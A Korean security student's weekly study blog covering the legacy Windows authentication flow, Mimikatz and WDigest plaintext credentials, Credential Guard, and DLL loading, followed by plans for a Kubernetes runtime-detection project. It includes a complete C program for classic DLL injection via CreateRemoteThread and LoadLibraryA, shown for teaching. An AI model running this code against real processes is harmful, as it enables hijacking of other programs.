회고

유의미한 변화를 이끌어낸 한 주라는 생각이 든다. 일단 가장 눈에 띄는건 마인드 셋이 달라져서 힘든지 모르고 한 주가 지난거 같다. 역시 마음 먹기 달렸어.. 공부하는게 이렇게 재밌었나? 암튼 더 몰입감 있게 수업 듣고 공부할 수 있었던 한 주라서 나름 뿌듯하다! 이 기세가 오래 갈 수 있기를.. 더 노력 해야지~

학습 내용 요약

우선 크게 윈도우 시스템 인증 과정과 인증 과정에서 윈도우 운영체제에서 가지고 있는 보안 취약점에 대해서 학습했고, 내가 프로젝트 진행하고자 하는 주제가 있어 관련 이야기를 강사님과 구체적으로 많이 나눠서 이와 관련한 내용을 조금 정리 해보도록 하겠다.

정리하자면 이번주 TIL 주제는 다음 두 가지이다.

  • 윈도우 취약점
  • 프로젝트 주제

1. Windows Vulnerability

Windows 시스템 인증 과정과 해당 인증 과정에서 발생했었던 취약점들에 대해 정리하고, DLL(Dynamic Link Library)에 대해 정리 해보겠다.

1.1 Windows Authentication

현재 윈도우 운영체제의 시스템 계정 인증 구조는 바뀌었지만 과거 windows의 인증 프로세스는 다음과 같다.

  1. 로그인 프로세스 시작
    시스템이 부팅되면 커널이 smss.exe (Session Manager)를 실행하고, 이것이 다시 winlogon.exe를 실행하여 사용자 로그인을 대기한다.

  2. 로그인 UI (GINA) : winLogOn 사용자 입력
    GINA (Graphical Identification and Authentication)라는 DLL 모듈이 사용자 인터페이스(UI)와 ID/PW 입력한다.

  3. lsass.exe에서 사용자 계정 인증 처리
    GINA가 입력받은 사용자 ID와 PW는 winlogon.exe를 거쳐 LSA (Local Security Authority) 서브시스템인 lsass.exe로 전달한다.

  4. NTLM 프로세스로 SAM(레지스트리 하이브 파일)에 계정 정보 조회
    lsass.exe는 전달받은 정보를 로컬 인증용 패키지인 msv1_0.dll에 넘기고, 사용자가 입력한 암호를 Hash화 한 뒤, 레지스트리 내부의 SAM (Security Account Manager) 데이터베이스에 저장된 해시값과 비교한다.

  5. 접근 토큰 발급 후 접속
    인증이 성공하면 lsass.exe는 보안 식별자(SID)와 사용자가 속한 그룹의 SID, 그리고 부여된 권한(Privileges) 정보를 모아 액세스 토큰(Access Token)을 생성한다. 이후 이 토큰은 winlogon.exe로 반환되고, Winlogon은 이 토큰을 사용하여 사용자의 shell을 실행한다.

1.1.2 Mimikatz

Mimikatz는 윈도우 인증 아키텍처의 구조적 설계 결함을 악용하거나, 메모리에 잔존하는 인증 정보를 추출하여 계정을 탈취한다.
그럼 구조적 설계 결함을 무엇일까? 인증과정을 다시 살펴보자.

인증 과정을 간단히 정리하면, 로그인 프로세스 시작 -> 사용자 입력 -> 사용자 인증 -> 정보 식별 -> 토큰 발급 -> 접속 순으로 진행되는데, 여기서 주목 해야할 부분은 사용자 인증이다.
앞서 말했듯 winlogon.exe를 거쳐 보안 인증 시스템에 전달되어 인증이 되는데, 이 과정에서 사용자 정보를 메모리에 저장할 때 사용자 비밀번호가 평문으로 저장된다.

WDigest.dll(Windows Digest Authentication)을 통해 평문으로 메모리에 기록을 했다고 한다.
일반적인 NTLM 인증은 Hash값만 있으면 되지만, WDigest 프로토콜은 서버와 인증할 때 암호화된 해시를 만들기 위해 반드시 원본 비밀번호가 필요했기 때문에 평문으로 저장할 수 밖에 없었다.

정리하자면 Mimikatz"인증 과정에서 user PW를 메모리에 평문으로 저장하는 구조적 결함을 노린 것" 이라고 정리할 수 있겠다.

그럼 지금은 어떨까? 당연히 바꿨겠지?

현재 윈도우는 Credential Guard를 도입한 인증 구조를 사용하고 있다. 기존엔 운영체제 커널이 시스템의 최고 권한이어서 이 계정만 탈취하면 모든 정보를 다 볼 수 있었다.

하지만 Credential Guard는 하이퍼바이저 기술을 사용한다. VBS(Virtualization-Based Security) 환경을 구축해서 이 안에 LSAIso.exe (Isolated LSA) 라는 인증 프로세스를 실행하고 메모리에 쓰기 때문에 시스템 계정을 탈취 당해 해당 메모리에 접근하려 해도 하드웨어 레벨에서 동작하는 Hiper-V가 차단한다.

윈도우 운영체제에서 실행 파일(.exe)이 모든 기능을 혼자 다 가지고 있으면 파일 크기가 너무 커지고 비효율적이다. 그래서 해당 실행 파일이 사용하는 기능을 따로 파일 형태로 저장하고, 필요할 때 불러와서 사용하는데 기능에 대해 담겨 있는 파일이 DLL이다.

그럼 필요한 기능을 어떻게 불러올까? 기능을 불러오기 위해 IATEAT라는 테이블이 필요하다.
IAT는 해당 프로그램이 어떤 기능(함수)를 사용하는지 저장 해놓은 테이블로, 실행시 IAT를 참조해서 해당 함수의 주소를 받아온다. EAT는 프로그램이 dll과 함수에 접근 가능하게 주소 정보를 기록 해놓은 테이블이다.

정리하면 한 프로그램의 동작은 다음과 같다.

  1. 프로그램 실행 (Loader 동작)
    사용자가 EXE를 실행하면, 윈도우의 PE 로더가 작동한다.

  2. DLL 로딩
    로더는 EXE 헤더를 보고 필요한 DLL(kernel32.dll 등)을 메모리에 올린다.

  3. 주소 찾기
    로더는 DLL의 EAT를 뒤져서 해당 함수가 메모리 어디에 있는지 진짜 주소를 찾는다.

  4. 주소 기록
    로더는 찾은 진짜 주소를 EXE의 IAT 칸에 넣는다.

  5. 함수 호출
    프로그램 코드가 실행되다가 Call CreateFile을 만나면, IAT를 참조하여 거기에 적힌 주소로 점프한다.

1.2.1 DLL Injection

실행중인 프로세스 주소 공간 내에 임의의 DLL 파일을 강제로 삽입하여 실행시키는 공격이다. kernel32 DLL의 windows API인 LoadLibrary 함수를 통해 DLL을 로드한다.
공격 과정은 다음과 같다.

  1. 대상 PID 식별
    공격 대상 프로세스의 PID를 확인한다.
  2. Process handle 흭득
    PID를 흭득하면 Open Process 함수를 이용해서 Process Handle을 흭득한다.
  3. Attcker DLL 경로 확보
    메모리에 Attacker의 DLL 경로를 넣기 위해 공간을 할당하고 삽입할 DLL의 경로를 넣는다.
  4. Remote Thread
    대상 프로세스에 Remote thread를 생성한다. Load Library 함수를 통해 Attacker의 DLL을 로드하면 실행된다.

DLL Injection 공격을 수행하기 위한 C로 작성한 예제 코드를 보자.

#include <windows.h>
#include <tlhelp32.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    DWORD pid = atoi(argv[1]);
    const char *dllPath = argv[2];

먼저 PID와 DLL 경로를 받아온다.

    HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);
    if (!hProc) {
        printf("프로세스 열기 실패: %lu\n", GetLastError());
        return 1;
    }

프로세스를 실행시켜 handle을 얻어 접근 권한을 얻는다.

    LPVOID pRemote = VirtualAllocEx(hProc, NULL, strlen(dllPath) + 1,
                                    MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
    if (!pRemote) {
        printf("메모리 할당 실패\n");
        CloseHandle(hProc);
        return 1;
    }
	
    if (!WriteProcessMemory(hProc, pRemote, dllPath, strlen(dllPath) + 1, NULL)) {
        printf("메모리 쓰기 실패\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

Injection 할 DLL 경로를 쓰기 위해 프로세스 공간에 메모리 공간을 확보한다.

    LPVOID pLoadLib = GetProcAddress(GetModuleHandle("kernel32.dll"), "LoadLibraryA");
    if (!pLoadLib) {
        printf("LoadLibraryA 주소 찾기 실패\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

DLL 로드에 사용할 LoadLibrary 함수 주소를 가지고 온다.

    HANDLE hThread = CreateRemoteThread(hProc, NULL, 0,
                                        (LPTHREAD_START_ROUTINE)pLoadLib,
                                        pRemote, 0, NULL);
    if (!hThread) {
        printf("원격 스레드 생성 실패\n");
        VirtualFreeEx(hProc, pRemote, 0, MEM_RELEASE);
        CloseHandle(hProc);
        return 1;
    }

삽입한 DLL이 프로세스의 리소스를 사용해야 하기 때문에 원격 Thread를 생성한다.

WaitForSingleObject(hThread, INFINITE);
    CloseHandle(hThread);
    CloseHandle(hProc);

    printf("DLL Injection 완료!\n");
    return 0;
}

원격 Thread를 대기 시키고, 해당 Thread 작업이 끝나면 종료시키고 프로세스도 종료 시킨다.

위 코드를 실행 시키면 기존 프로세스에서 사용하고 있는 dll을 pid를 통해 다른 dll로 바꾸는 injection 공격 수행이 가능한 것을 확인할 수 있다.


2. Project

우선 교육과정 상 프로젝트에 할당 된 기간은 약 8주다. 시간이 생각보다 많이 촉박하다는 생각이 들어 10월 말부터 어떤 프로젝트를 하면 좋을지 계속 고민 해봤다.
주제 관련된 자세한 내용을 이런 공개적인 공간에 작성해도 괜찮다는 말은 듣지 못 해서 대략적으로 얘기 해보면 토스 측에서 준 주제는 총 네 가지로 크게 모의 해킹 즉, 공격과 관련된 주제 두 가지와 방어와 관련된 주제 두 가지를 제공했다.

원래 기존 수강생은 총 28명이었는데 네 분이 취업하셔서 나가셨으니 24명이 각각 주제를 선택하여 프로젝트를 수행하게 됐다. (취업 축하드립니다ㅎㅎ🥳)
현재 이 글 작성하고 있는 시점이 11/25일이니 약 2주 뒤 프로젝트 기간이 다가와서 현재 선호 주제 수요조사가 진행되고 있고, 구체적으로 몇 명이서 프로젝트를 수행하게 되는지 팀빌딩은 어떻게 할 것인지 결정된게 없는거 같다. (이래도 되나?) 매니저님이 말씀하시는게 팀빌딩은 랜덤으로 진행한다고 하는데 좀 이해가 가지 않는다 .. 사실 나는 이미 세부적인 주제를 강사님께 전달 드렸고 이와 관련해서 강사님하고 얘기를 나누면서 고도화 시키고 있는 단계이다.

운이 좋게도 나와 방향성이 맞는 분들도 계셔서 이 분들하고도 같이 해보자고 얘기도 해놓은 상태인데... 랜덤으로 돌린다고..? 내일 수요조사가 끝나고 강사님께서 인원 배분을 하신다고 하니 기다려 봐야겠지만 랜덤은 진짜 아닌거 같다;

암튼 현재 주제를 잡고 자료 조사 단계에 있는데 이와 관련해서 간단히 이야기 해보겠다.

Kubernetes와 AI

많은 기업에서 서비스를 낼 때 클라우드 환경을 이용하고, 운영 안정성을 위해 MSA(Micro Service Architecture)를 채택한다.
MSA 구조는 하나의 큰 서비스를 기능 단위로 독립적인 서비스로 분리를 시키고 서비스끼리 API로 통신하여 동작한다. 또한 배포 역시 각각의 서비스가 독립적으로 이루어진다. 이 과정에서 각 서비스는 가볍고 격리된 환경인 Container 단위로 운영되는 경우가 많다.
시스템 복잡도가 증가하고 초기 설계의 어려움이 있다는 단점이 있지만 확장성이 좋고 CI/CD를 통한 효율적인 운영이 가능하다는게 장점이다. 하지만 서비스 개수가 수십, 수백 개로 늘어남에 따라 이를 수동으로 관리하는 것이 불가능하기 때문에 컨테이너 통합 관리 환경으로 컨테이너 배포, 네트워크, 정책 등을 명세하여 클러스터 운영이 가능토록 하는 Orchestration 도구인 쿠버네티스를 많이 사용한다고 익히 들었다.

운영의 효율성을 추구하는건 좋으나 런타임 환경에서 보안적인 조치가 제대로 되고 있지 않다고 여러 매체를 통해서 접할 수 있었다. 마침 나의 관심사가 인프라쪽이니 이와 관련해서 프로젝트를 진행하면 뭔가 이쁜 그림이 나올거 같아 생각난게 쿠버네티스였고, 다른 분야에 비해 보안에서 AI 활용이 잘 되고 있지 않다는 점에 주목했다.

주목 포인트

  • 쿠버네티스 런타임 환경
  • AI 활용

k8s 런타임 위협, 자동 대응, 침해 사고 분석

k8s 런타임 환경에서 발생할 수 있는 위협들을 감지하고 이 위협에 대한 대응 과정을 자동화하고 관리자에게 해당 침해 사고에 대해 분석할 수 있는 환경을 제공하는 것. 종합 해보니 내가 하고싶은게 쿠버네티스 환경에서 SOAR를 구현하는 것이라고 정의 내릴 수 있었다.

우선 이 프로젝트를 수행하려면 k8s 환경을 정확하게 알고 있어야 하고, 이 환경을 구성하는 요소들에 대한 이해가 필요하다는 생각이 들어서 쿠버네티스 공식 문서를 통해 공부하고 있다.
또, 나는 자동 대응하는 부분에 AI를 적극적으로 활용하고 싶어 여러 논문들을 참고해 자료조사를 해보니 오탐과 미탐이 치명적이고 AI 모델을 학습시키는데 문제가 있는 것으로 파악됐다.
워낙 악성 트래픽이 변칙적이기 때문에 성능이 안나온다는게 결론인거 같다. 보통 일이 아니라는게 스멀스멀 느껴진다ㅋㅋㅋㅋㅋ

일단 잘은 모르지만 자료조사와 멘토링 들었던걸 토대로 대략적인 아키텍처를 그려봤다.
Falco와 Zeek를 각 노드에 위치시켜 로그를 수집하고 이 로그가 volume에 저장되면 해당 volume에 마운트 되어 있는 Promtail이 로그를 전송하여 Loki에 저장한다. 해당 로그를 AI를 학습하고 침해사고가 발생했는지 판단하는데 사용하고 관리자가 대시보드로 시스템을 모니터링 할 수 있는 환경을 제공한다. AI는 Slack을 통해 관리자에게 현황을 전송하고 사고에 대한 결정을 k8s API 서버에 이를 전송하여 정책을 업데이트 하여 위협을 막는다. 큰 틀은 이렇다. 할거 많네..?

해야할 일

  • 도구 비교 분석
    시스템 로그와 네트워크 로그를 수집하여 관리하기 때문에 트래픽이 정말 어마어마 할거다. 운영적인 요소도 고려하여 실제 서비스를 올린다고 했을 때 시스템 오버헤드가 크지 않은 방향으로 어떤 도구가 효율적인지 비교 해야한다.
  • AI 활용 범위 결정
    이게 제일 문제인데.. 현실적으로 모델 개발은 못하고 GPT던 Gemini와 같은 상용 LLM을 Fine Tuning 해서 사용할거 같은데, 데이터 전처리를 어떻게 할건지 결정 해야한다.
    또, AI를 어떤 부분에 어디까지 쓸건지 그 경계를 명확하게 확정을 지어야 한다. 전체적으로 추상적이지만 특히 이 활용적인 측면이 매우매우 추상적이다.
  • 학습 데이터 확보
    일단 AI를 Fine Tuning 해서 쓸거니까 학습에 쓸 데이터가 확보 되어야 하는데 일단 환경 구축을 했다고 치자. 그럼 악성 트래픽 어떻게 만들고 어떻게 실험하지..?

비용적인 부분부터 시작해서 아 고려 해야될 부분이 너무 많다.. 빨리 팀빌딩 해서 이런 고민들을 팀원들 하고 빨리 나누고 싶다.


마무리

일단 머릿속이 매우 복잡하고 생각이 많은거 보면... 생산적이다..?라는 생각이 드는거 같다. 뭐 착각일수도 있지만.. 사실 할게 너무 많아서 이것저것 찾아보고 하다보면 시간이 너무 빨리 지나 가는거 같다. 이런 고민하는 과정이 참 힘들긴 한데 재밌다..! 내가 관심 있어하는 분야에 이렇게 힘을 쏟을 수 있는게 얼마나 행복한 일인가 생각이 든다.

근데 아쉬운건 같은 과정 수강하는 분들은 딱히 얘기하는게 없다.. 강사님께서 프로젝트 관련해서 조사 해보고 정리해서 알려 달라고 하시는데 올린게 나밖에 없었다.
사실 내가 생각한 부분에 대해서만 계속 몰두하다 보면 고착화? 되는 경향이 있어서 다양한 시각에서 하나의 주제를 놓고 다양한 의견을 나누고 싶은데 이런 이야기 나눌 수 있는 사람이 거의 없다는게 참 아쉬운거 같다. 다들 비장의 무기가 있어서 공개를 안하시는건가ㅋㅋㅋㅋㅋ

뭐.. 아쉽지만 어쩌겠나 암튼 난 프로젝트 1등 하고 싶고 할거니까 좋은 팀원들 잘 만나서 성공적으로 프로젝트 마무리 하고 그 과정에서 마음 잘 맞는 사람 있으면 이어갈 수 있지 않을까? 하는 기대를 해본다.

이번주 TIL은 여기서 끝! 다들 이번 한 주도 고생하셨습니다~

0개의 댓글